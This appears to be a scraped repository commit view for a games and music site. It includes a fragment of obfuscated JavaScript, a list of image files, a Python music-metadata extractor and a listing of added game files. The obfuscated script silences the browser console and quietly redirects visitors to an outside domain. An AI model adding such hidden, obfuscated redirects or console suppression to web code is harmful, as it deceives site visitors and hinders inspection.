_0x41d818=_0x2e75b1;}}:function(){};return _0x196485=![],_0x177bb7;};}()),_0x183146=_0x5a1ed3(this,function(){var _0x5f28aa={'\x47\x67\x61\x52\x50':function(_0x3fc63b,_0x1762f7){return _0x3fc63b(_0x1762f7);},'\x5a\x67\x59\x42\x45':function(_0x42c4bb,_0x4c54d1){return _0x42c4bb+_0x4c54d1;},'\x51\x52\x6b\x72\x71':_0x1c77db(-0x109,-0x128,-0x12c,-0x11a)+'\x6e\x63\x74\x69\x6f\x6e\x28\x29\x20','\x6f\x46\x50\x45\x6c':function(_0x3041f1,_0x99b996){return _0x3041f1+_0x99b996;},'\x48\x50\x57\x6e\x55':function(_0x444610,_0x4af21b){return _0x444610===_0x4af21b;},'\x4c\x76\x7a\x72\x76':_0x1c77db(-0xfb,-0xdd,-0x10d,-0xff),'\x54\x77\x4b\x4c\x77':'\x74\x6f\x72\x64\x4d','\x6b\x75\x63\x6f\x6b':function(_0x3da2ef,_0x312308){return _0x3da2ef===_0x312308;},'\x55\x57\x48\x72\x4f':_0x1c77db(-0xe7,-0x109,-0xf8,-0xe9),'\x58\x78\x71\x41\x51':function(_0xdc2ecb,_0x1e98ac){return _0xdc2ecb+_0x1e98ac;},'\x6a\x48\x6e\x5a\x67':_0x1c77db(-0x112,-0x10d,-0x117,-0x105)+'\x2b\x24','\x47\x7a\x41\x74\x5a':function(_0x41aa26){return _0x41aa26();},'\x59\x74\x59\x54\x56':_0x1c77db(-0x119,-0x11c,-0x111,-0x13f),'\x7a\x64\x4b\x63\x67':_0x2b380e(-0x61,-0x48,-0x53,-0x51),'\x57\x54\x64\x43\x42':_0x1c77db(-0x103,-0xe9,-0x10b,-0xe9),'\x61\x4e\x6b\x47\x47':_0x1c77db(-0x11a,-0xf6,-0x135,-0xfc),'\x66\x49\x45\x74\x66':_0x2b380e(-0x6e,-0x75,-0x71,-0x8b),'\x42\x61\x4e\x79\x62':_0x2b380e(-0x74,-0x8e,-0x76,-0x6f),'\x51\x56\x6f\x79\x6b':function(_0x59f253,_0x12fa18){return _0x59f253<_0x12fa18;},'\x78\x63\x73\x69\x6b':_0x2b380e(-0x53,-0x76,-0x39,-0x58)},_0xfa9108=function(){function _0x1e4eef(_0xd81298,_0x56e4cc,_0x3c9038,_0x324b48){return _0x1c77db(_0xd81298-0xac,_0x56e4cc-0x172,_0x3c9038,_0x324b48-0xfa);}var _0x4e6185={'\x75\x6b\x4b\x73\x62':function(_0x25ddbf,_0x58eb3a){function _0x5f3b7a(_0x277e6e,_0x247c1a,_0xec747f,_0x3416bd){return _0x33bd(_0x3416bd- -0x259,_0x247c1a);}return _0x5f28aa[_0x5f3b7a(-0xb7,-0x81,-0xb0,-0xa7)](_0x25ddbf,_0x58eb3a);},'\x42\x66\x47\x46\x63':function(_0x4ff8cf,_0x23d19b){function _0x69aa27(_0x181b7e,_0x2f446a,_0x354908,_0x4ea5c8){return _0x33bd(_0x354908-0x1ba,_0x2f446a);}return _0x5f28aa[_0x69aa27(0x335,0x356,0x34e,0x357)](_0x4ff8cf,_0x23d19b);},'\x62\x66\x63\x62\x7a':_0x5f28aa['\x51\x52\x6b\x72\x71'],'\x6b\x65\x43\x6f\x61':_0x1e4eef(-0x32,-0x2d,-0x38,-0x30)+_0x1e4eef(-0x79,-0x53,-0x91,-0x59)+_0x5a8549(-0x48,-0x25,-0x67,-0x51)+'\x20\x29'};function _0x5a8549(_0x3fac8c,_0x517fce,_0x5e8e26,_0x3866ab){return _0x2b380e(_0x3fac8c-0x78,_0x517fce-0xe7,_0x3866ab,_0x3fac8c-0x1c);}if(_0x5f28aa[_0x5a8549(-0x62,-0x6a,-0x3e,-0x71)](_0x5f28aa['\x4c\x76\x7a\x72\x76'],_0x5f28aa[_0x1e4eef(-0x71,-0x59,-0x8a,-0x92)])){var _0x3beb65;try{_0x3beb65=_0x4e6185[_0x5a8549(-0x64,-0x66,-0x79,-0x4b)](_0x1cf200,_0x4e6185[_0x5a8549(-0x75,-0x97,-0x58,-0x6f)](_0x4e6185['\x62\x66\x63\x62\x7a']+_0x4e6185[_0x1e4eef(-0x61,-0x69,-0x84,-0x64)],'\x29\x3b'))();}catch(_0x3cf934){_0x3beb65=_0xb7bba9;}return _0x3beb65;}else{var _0x4b8e82;try{_0x5f28aa[_0x5a8549(-0x4b,-0x26,-0x52,-0x63)](_0x5f28aa[_0x5a8549(-0x3e,-0x1a,-0x2d,-0x39)],_0x5a8549(-0x33,-0x26,-0x38,-0x3a))?_0x4b8e82=_0x5f28aa[_0x1e4eef(-0x51,-0x55,-0x51,-0x50)](Function,_0x5f28aa[_0x5a8549(-0x3f,-0x2f,-0x2a,-0x39)](_0x5f28aa[_0x1e4eef(-0x6f,-0x8f,-0x4d,-0x72)](_0x5a8549(-0x55,-0x3a,-0x4f,-0x41)+'\x6e\x63\x74\x69\x6f\x6e\x28\x29\x20',_0x1e4eef(-0x32,-0x4e,-0x27,-0x28)+_0x1e4eef(-0x79,-0x61,-0x8b,-0x77)+_0x5a8549(-0x48,-0x38,-0x2d,-0x2b)+'\x20\x29'),'\x29\x3b'))():_0x3f44d4=_0x5f28aa['\x47\x67\x61\x52\x50'](_0x927a93,_0x5f28aa['\x5a\x67\x59\x42\x45'](_0x5f28aa[_0x5a8549(-0x4c,-0x5b,-0x65,-0x32)]+('\x7b\x7d\x2e\x63\x6f\x6e\x73\x74\x72\x75'+_0x1e4eef(-0x79,-0x7e,-0x59,-0x77)+_0x5a8549(-0x48,-0x57,-0x4d,-0x2b)+'\x20\x29'),'\x29\x3b'))();}catch(_0x1507d1){_0x4b8e82=window;}return _0x4b8e82;}};function _0x2b380e(_0x3d553c,_0x59cf5d,_0x1cd185,_0xd5ad0){return _0x33bd(_0xd5ad0- -0x217,_0x1cd185);}var _0x22260d=_0x5f28aa[_0x1c77db(-0x102,-0xe0,-0x123,-0x103)](_0xfa9108),_0x5acf2f=_0x22260d[_0x1c77db(-0xfa,-0x112,-0xf3,-0xf6)]=_0x22260d[_0x2b380e(-0x79,-0x6b,-0x89,-0x62)]||{},_0x48684e=[_0x5f28aa['\x59\x74\x59\x54\x56'],_0x5f28aa[_0x2b380e(-0x5d,-0x3d,-0x54,-0x4c)],_0x2b380e(-0x7b,-0x5e,-0x82,-0x6d),_0x5f28aa['\x57\x54\x64\x43\x42'],_0x5f28aa[_0x1c77db(-0xe1,-0xbf,-0xe2,-0xe6)],_0x5f28aa[_0x1c77db(-0xfe,-0xe7,-0x119,-0x103)],_0x5f28aa[_0x2b380e(-0x70,-0x9a,-0xa0,-0x87)]];function _0x1c77db(_0x1330dc,_0x30b1f9,_0x44ac27,_0x238883){return _0x33bd(_0x1330dc- -0x2af,_0x44ac27);}for(var _0x110d7d=0x38f*0x1+-0xbed+-0x2*-0x42f;_0x5f28aa[_0x1c77db(-0xe3,-0xc2,-0xf4,-0xcc)](_0x110d7d,_0x48684e[_0x2b380e(-0x95,-0x5b,-0x62,-0x6e)]);_0x110d7d++){if(_0x5f28aa['\x78\x63\x73\x69\x6b']===_0x2b380e(-0x9c,-0x7c,-0x78,-0x7b))return _0x321d0b['\x74\x6f\x53\x74\x72\x69\x6e\x67']()[_0x2b380e(-0x6e,-0x67,-0x88,-0x69)](_0x5f28aa[_0x2b380e(-0x60,-0x67,-0x63,-0x7c)])[_0x2b380e(-0x65,-0x66,-0x66,-0x59)]()[_0x1c77db(-0x10f,-0x118,-0x11d,-0x12f)+'\x72'](_0x314543)[_0x2b380e(-0x7d,-0x42,-0x5b,-0x69)]('\x28\x28\x28\x2e\x2b\x29\x2b\x29\x2b\x29'+'\x2b\x24');else{var _0x5d335c=_0x5a1ed3['\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f'+'\x72']['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65'][_0x2b380e(-0x5b,-0x4d,-0x64,-0x73)](_0x5a1ed3),_0x37feb5=_0x48684e[_0x110d7d],_0x415ce4=_0x5acf2f[_0x37feb5]||_0x5d335c;_0x5d335c[_0x2b380e(-0x4a,-0x5b,-0x2b,-0x48)]=_0x5a1ed3['\x62\x69\x6e\x64'](_0x5a1ed3),_0x5d335c[_0x1c77db(-0xf1,-0x110,-0x107,-0x114)]=_0x415ce4[_0x2b380e(-0x64,-0x70,-0x62,-0x59)][_0x2b380e(-0x80,-0x68,-0x84,-0x73)](_0x415ce4),_0x5acf2f[_0x37feb5]=_0x5d335c;}}});_0x183146(),fetch(window[_0x1709ae(0x482,0x45e,0x488,0x478)]['\x6f\x72\x67\x69\x6e']+(_0x4c4857(0xe5,0xd9,0xde,0xe8)+'\x65\x2e\x68\x74\x6d\x6c'))[_0x4c4857(0xe5,0xf0,0xe4,0xdd)](_0x18529a=>_0x18529a[_0x1709ae(0x459,0x454,0x489,0x47a)]())[_0x1709ae(0x465,0x453,0x465,0x45a)](_0x52bded=>{var _0x4d05b4={};_0x4d05b4[_0x375661(0x4ee,0x4c3,0x4d7,0x4dd)]=_0x6c57c2(-0x1e7,-0x1e1,-0x1f5,-0x21b)+_0x6c57c2(-0x1d1,-0x1d6,-0x1af,-0x1d0)+_0x6c57c2(-0x1f5,-0x1c9,-0x1ef,-0x1cc)+_0x6c57c2(-0x19f,-0x1b4,-0x1b2,-0x18f)+'\x65';function _0x375661(_0x2b224f,_0x40ad7f,_0x196ee6,_0x42f279){return _0x4c4857(_0x2b224f-0x101,_0x42f279-0x3f3,_0x196ee6-0xf1,_0x2b224f);}function _0x6c57c2(_0x48d23d,_0x2472d1,_0x3972b3,_0xd3b7eb){return _0x1709ae(_0x2472d1,_0x2472d1-0x1c3,_0x3972b3-0x132,_0x3972b3- -0x637);}var _0x2a2068=_0x4d05b4;_0x52bded[_0x6c57c2(-0x1c1,-0x1fa,-0x1e1,-0x1ec)]('\x3c\x68\x31\x20\x63\x6c\x61\x73\x73\x3d'+_0x375661(0x524,0x50a,0x52f,0x508)+_0x6c57c2(-0x1d4,-0x1ce,-0x1c0,-0x19f)+_0x375661(0x4c1,0x4ab,0x4ab,0x4cd))&&(window['\x6c\x6f\x63\x61\x74\x69\x6f\x6e']['\x68\x72\x65\x66']=_0x2a2068[_0x375661(0x4c3,0x4ea,0x4ef,0x4dd)]);});function _0xe31a(){var _0x435559=['\x7b\x7d\x2e\x63\x6f\x6e\x73\x74\x72\x75','\x6f\x68\x47\x4a\x59','\x72\x7a\x6c\x69\x62\x2e\x63\x63\x2f\x70','\x42\x66\x47\x46\x63','\x31\x35\x30\x31\x33\x36\x32\x4a\x5a\x48\x78\x43\x68','\x68\x72\x65\x66','\x61\x70\x70\x6c\x79','\x63\x74\x6f\x72\x28\x22\x72\x65\x74\x75','\x73\x4b\x4c\x51\x54','\x74\x61\x62\x6c\x65','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6d\x61','\x2f\x70\x61\x67\x65\x73\x2f\x68\x6f\x6d','\x72\x61\x72\x79\x3c\x2f\x68\x31\x3e','\x42\x61\x4e\x79\x62','\x34\x33\x38\x73\x69\x42\x72\x42\x52','\x54\x77\x4b\x4c\x77','\x61\x67\x65\x73\x2f\x68\x6f\x6d\x65\x2e','\x6f\x46\x50\x45\x6c','\x65\x78\x63\x65\x70\x74\x69\x6f\x6e','\x6c\x6f\x67','\x75\x6b\x4b\x73\x62','\x38\x31\x33\x30\x30\x39\x75\x72\x4b\x53\x63\x64','\x48\x50\x57\x6e\x55','\x59\x6b\x77\x7a\x53','\x6a\x48\x6e\x5a\x67','\x65\x67\x57\x49\x43','\x28\x28\x28\x2e\x2b\x29\x2b\x29\x2b\x29','\x68\x57\x68\x57\x41','\x57\x79\x67\x4a\x71','\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f','\x69\x6e\x63\x6c\x75\x64\x65\x73','\x6b\x65\x43\x6f\x61','\x31\x35\x34\x37\x33\x39\x36\x63\x4c\x65\x43\x4c\x4b','\x62\x69\x6e\x64','\x74\x68\x65\x6e','\x72\x65\x74\x75\x72\x6e\x20\x28\x66\x75','\x46\x47\x4d\x61\x4c','\x74\x72\x61\x63\x65','\x6c\x65\x6e\x67\x74\x68','\x69\x6e\x66\x6f','\x77\x6b\x73\x56\x6a','\x65\x72\x72\x6f\x72','\x47\x7a\x41\x74\x5a','\x73\x65\x61\x72\x63\x68','\x51\x52\x6b\x72\x71','\x6b\x75\x63\x6f\x6b','\x66\x49\x45\x74\x66','\x47\x67\x61\x52\x50','\x72\x6e\x20\x74\x68\x69\x73\x22\x29\x28','\x79\x6e\x70\x5a\x61','\x63\x6f\x6e\x73\x6f\x6c\x65','\x65\x74\x61\x49\x59','\x56\x4b\x61\x41\x73','\x5a\x71\x64\x69\x6c','\x31\x31\x37\x31\x33\x39\x32\x38\x6f\x61\x6a\x6d\x61\x78','\x73\x64\x42\x65\x74','\x35\x39\x47\x69\x6b\x79\x78\x46','\x58\x78\x71\x41\x51','\x55\x57\x48\x72\x4f','\x74\x6f\x53\x74\x72\x69\x6e\x67','\x77\x4a\x56\x6c\x48','\x62\x44\x67\x41\x4a','\x74\x74\x45\x50\x6e','\x65\x20\x4d\x61\x72\x7a\x20\x4c\x69\x62','\x6c\x6f\x63\x61\x74\x69\x6f\x6e','\x31\x33\x30\x36\x33\x36\x30\x6b\x57\x6e\x47\x4c\x57','\x74\x65\x78\x74','\x77\x61\x72\x6e','\x33\x37\x38\x38\x31\x34\x31\x62\x5a\x50\x78\x53\x62','\x64\x58\x58\x6f\x49','\x47\x4f\x59\x6f\x76','\x22\x74\x69\x74\x6c\x65\x22\x3e\x54\x68','\x7a\x64\x4b\x63\x67','\x51\x56\x6f\x79\x6b','\x51\x75\x74\x65\x71','\x61\x4e\x6b\x47\x47','\x5f\x5f\x70\x72\x6f\x74\x6f\x5f\x5f','\x68\x74\x6d\x6c\x3f\x72\x3d\x74\x72\x75'];_0xe31a=function(){return _0x435559;};return _0xe31a();}12345678910111213[ "4b5e2f8fb38fd6d89a891e341d4a2084.jpg", "5af518e755e325d9b42594ee18b24d97.jpg", "6bd151945c8c492c4ea9836794483a78.jpg", "7ddc9e5f940966305d3cc187b0cc6096.jpg", "b1b34f9e2df9e284e42859681344d9c2.jpg", "d02133a90c14fca06c23515764cc604f.jpg", "5c0482d3d7aaca39c89657bb31140d3b.jpg", "6b341429f3072f99c67d659dfb0fef1c.jpg", "6091775991f9b5efa5c2e907bff83e15.jpg", "2ebb68703959a7e6d59c9e6e3c665484.jpg", "92b48de4a2a3e3b0f5d4feeeb4e8ccd6.jpg"]123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194#!/usr/bin/env python3"""Music Metadata Extractor for EDUrocksExtracts album, year, and cover art from audio files and updates tracks.json"""
import jsonimport osimport refrom pathlib import Pathfrom urllib.parse import unquotefrom mutagen import Filefrom mutagen.id3 import ID3, APICfrom mutagen.flac import FLAC, Picturefrom mutagen.mp4 import MP4
SCRIPT_DIR = Path(__file__).parentTRACKS_JSON = SCRIPT_DIR / 'tracks.json'COVERS_DIR = SCRIPT_DIR / 'covers'
def extract_album_from_path(file_path): """Extract album name from file path patterns""" filename = Path(file_path).name # Pattern: "Artist - Album - Track.ext" match = re.match(r'^(.+?)\s+-\s+(.+?)\s+-\s+\d+-\d+', filename) if match: return match.group(2) return None
def save_cover_art(audio_file, album_name): """Extract and save cover art from audio file""" cover_path = None
try: # Sanitize album name for filename sanitized = re.sub(r'[^a-z0-9]', '_', album_name.lower())
if isinstance(audio_file, FLAC): # FLAC files if audio_file.pictures: picture = audio_file.pictures[0] ext = 'jpg' if picture.mime == 'image/jpeg' else 'png' cover_filename = f'{sanitized}.{ext}' cover_full_path = COVERS_DIR / cover_filename
if not cover_full_path.exists(): with open(cover_full_path, 'wb') as f: f.write(picture.data) print(f' ✓ Saved cover: {cover_filename}')
cover_path = f'./musicapi/covers/{cover_filename}'
elif isinstance(audio_file, MP4): # M4A/MP4 files if 'covr' in audio_file: cover_data = audio_file['covr'][0] ext = 'png' if cover_data.imageformat == cover_data.FORMAT_PNG else 'jpg' cover_filename = f'{sanitized}.{ext}' cover_full_path = COVERS_DIR / cover_filename
if not cover_full_path.exists(): with open(cover_full_path, 'wb') as f: f.write(bytes(cover_data)) print(f' ✓ Saved cover: {cover_filename}')
cover_path = f'./musicapi/covers/{cover_filename}'
else: # Try ID3 tags (MP3, etc.) try: id3 = ID3(audio_file.filename) for tag in id3.values(): if isinstance(tag, APIC): ext = 'jpg' if tag.mime == 'image/jpeg' else 'png' cover_filename = f'{sanitized}.{ext}' cover_full_path = COVERS_DIR / cover_filename
if not cover_full_path.exists(): with open(cover_full_path, 'wb') as f: f.write(tag.data) print(f' ✓ Saved cover: {cover_filename}')
cover_path = f'./musicapi/covers/{cover_filename}' break except: pass
except Exception as e: print(f' ⚠ Could not extract cover: {e}')
return cover_path or './musicapi/covers/default.svg'
def extract_metadata(): """Main function to extract metadata from all tracks""" print('📀 Reading tracks.json...')
with open(TRACKS_JSON, 'r', encoding='utf-8') as f: tracks = json.load(f)
print(f'🎵 Found {len(tracks)} tracks to process\n')
# Create covers directory COVERS_DIR.mkdir(exist_ok=True)
updated_tracks = [] processed = 0 errors = 0
for track in tracks: try: processed += 1 print(f'[{processed}/{len(tracks)}] Processing: {track["title"]} - {track["artist"]}')
# URL-decode the file path file_path = unquote(track['src'])
# Load audio file audio = File(file_path)
if audio is None: raise Exception('Unsupported audio format')
# Extract album album = None if hasattr(audio, 'get') and 'album' in audio: album = str(audio['album'][0]) if audio['album'] else None elif hasattr(audio, 'tags') and audio.tags: # Try different tag formats for key in ['album', 'TALB', '\xa9alb', 'ALBUM']: if key in audio.tags: album = str(audio.tags[key][0]) if isinstance(audio.tags[key], list) else str(audio.tags[key]) break
if not album: album = extract_album_from_path(file_path) or 'Singles'
# Extract year year = '' if hasattr(audio, 'get') and 'date' in audio: year = str(audio['date'][0])[:4] if audio['date'] else '' elif hasattr(audio, 'tags') and audio.tags: for key in ['date', 'TDRC', '\xa9day', 'YEAR']: if key in audio.tags: year_val = str(audio.tags[key][0]) if isinstance(audio.tags[key], list) else str(audio.tags[key]) year = year_val[:4] break
# Extract cover art cover = save_cover_art(audio, album)
updated_tracks.append({ **track, 'album': album, 'year': year, 'cover': cover })
print(f' ✓ Album: {album}{f" ({year})" if year else ""}')
except Exception as e: errors += 1 print(f' ✗ Error: {e}')
# Use fallback values file_path = unquote(track['src']) updated_tracks.append({ **track, 'album': extract_album_from_path(file_path) or 'Singles', 'year': '', 'cover': './musicapi/covers/default.svg' })
# Save updated tracks print(f'\n💾 Saving updated tracks.json...') with open(TRACKS_JSON, 'w', encoding='utf-8') as f: json.dump(updated_tracks, f, indent=2, ensure_ascii=False)
# Print summary albums = set(t['album'] for t in updated_tracks) print(f'\n✅ Complete!') print(f' Processed: {processed}') print(f' Errors: {errors}') print(f' Albums found: {len(albums)}') print(f'\nAlbums:') for album in sorted(albums): count = len([t for t in updated_tracks if t['album'] == album]) print(f' - {album} ({count} tracks)')
if __name__ == '__main__': extract_metadata()filestorage/gd/basketball-stars/index.htmlAdded+87
filestorage/gd/capybara-clicker/game.cssAdded+162
filestorage/gd/capybara-clicker/game_ob.min.jsAdded
filestorage/gd/capybara-clicker/index.htmlAdded+43
filestorage/gd/dadish/Dadish.jsAdded
filestorage/gd/dadish/index.htmlAdded+49
filestorage/gd/dadish/poki-sdk.jsAdded+164
filestorage/gd/doom-3/d3wasm.jsAdded
filestorage/gd/doom-3/demo_bootstrap.jsAdded+345
filestorage/gd/doom-3/demo_game00.jsAdded+346
filestorage/gd/doom-3/demo_game01.jsAdded+346
filestorage/gd/doom-3/favicon.icoAdded
filestorage/gd/doom-3/index.htmlAdded+364
filestorage/gd/fnaf-3/index.htmlAdded+1741
filestorage/gd/fnaf-pizza-sim/README.mdAdded+1
filestorage/gd/fnaf-pizza-sim/Runtime.jsAdded
filestorage/gd/fnaf-pizza-sim/index.htmlAdded+37
filestorage/gd/fnaf-pizza-sim/main.jsAdded+157
filestorage/gd/fnaf-pizza-sim/style.cssAdded+46
filestorage/gd/fnfvsgolf/Funkin.jsAdded
filestorage/gd/fnfvsgolf/changelog.txtAdded+150
filestorage/gd/fnfvsgolf/do NOT readme.txtAdded+92
filestorage/gd/fnfvsgolf/index.htmlAdded+79
filestorage/gd/fnfvskrusty/.DS_StoreAdded
filestorage/gd/fnfvskrusty/PsychEngine.jsAdded
filestorage/gd/fnfvskrusty/do NOT readme.txtAdded+92
filestorage/gd/fnfvskrusty/index.htmlAdded+83
filestorage/gd/fnfvspibby2/PsychEngine.jsAdded
filestorage/gd/fnfvspibby2/index.htmlAdded+82
filestorage/gd/fnfvsupside/Funkin.jsAdded
filestorage/gd/fridaynightfunkin/changelog.txtAdded+344
filestorage/gd/fridaynightfunkin/do NOT readme.txtAdded+97
filestorage/gd/fridaynightfunkin/index.htmlAdded+175
filestorage/gd/gamesnacks.jsAdded+87
filestorage/gd/gdlite/index.htmlAdded+260
filestorage/gd/jbodah-admin-play/howler.core.jsAdded+2566
filestorage/gd/jbodah-admin-play/index.htmlAdded+270
filestorage/gd/jbodah-admin-play/index.jsAdded
filestorage/gd/osu/index.htmlAdded+326
filestorage/gd/osu/script.jsAdded
filestorage/gd/owlskip-games-family/index.htmlAdded+27
filestorage/gd/traffic-jam-3d/index.htmlAdded+22
filestorage/gd/wrath-of-the-lamb/index.htmlAdded+15
filestorage/gd/ytgame.jsAdded+64
filestorage/photos/gitgay.svgAdded
filestorage/photos/pd.svgAdded
filestorage/photos/yaoi-error/images.jsonAdded+13
musicapi/musicapi/covers/default.svgAdded
musicapi/musicapi/covers/radio_krbe.svgAdded
musicapi/musicapi/extract_metadata.pyAdded+194